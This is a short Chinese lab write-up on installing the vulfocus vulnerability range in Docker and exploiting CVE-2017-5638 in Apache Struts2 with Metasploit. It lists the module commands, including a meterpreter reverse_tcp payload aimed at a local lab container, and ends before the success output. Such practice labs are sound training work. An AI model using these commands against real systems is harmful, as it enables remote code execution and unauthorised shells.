开源漏洞靶场vulfocus的实践（一）

本周末实践的是开源漏洞靶场vulfocus，真是简单易用，以下是实践记录，

搞个ubuntu18.04的虚拟机，安装docker，

sudo apt install docker.io，

sudo systemctl enable docker，

sudo gpasswd -a ubuntu docker，

newgrp docker，

下载vulfocus容器镜像，docker pull vulfocus/vulfocus:latest，

启动vulfocus容器实例，

docker run -d -p 8001:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=10.90.11.162 vulfocus/vulfocus，

这就可以访问vulfocus的管理界面了，http://10.90.11.162:8001，

admin/admin，登录进去，首先看镜像管理，开始是空的，点击一键同步，就都出来了，

我习惯用cve-2017-5638做实验，搜一下看有没有，

搜出来的可以点击下载，就自动导入了，也可以手动导入本地的镜像，因为我拿vulfocus自带的cve-2017-5638镜像做攻击验证没成功，就又自己手动导入的piesecurity/apache-struts2-cve-2017-5638，

导入镜像成功后，主页上就能看到并可以启动了，

本地安装个metasploit，进行攻击实验，

msfconsole，

use exploit/multi/http/struts2_content_type_ognl，

set RHOST 10.90.11.162，

set RPORT 34351，

set TARGETURI showcase.jsp，

set LHOST 10.90.11.162，

set payload linux/x64/meterpreter/reverse_tcp，

exploit，

这里需要特别注意的是，需要自己手动docker ps看一下靶机的映射端口，

并通过set RPORT进行配置，攻击成功了就是下面这样，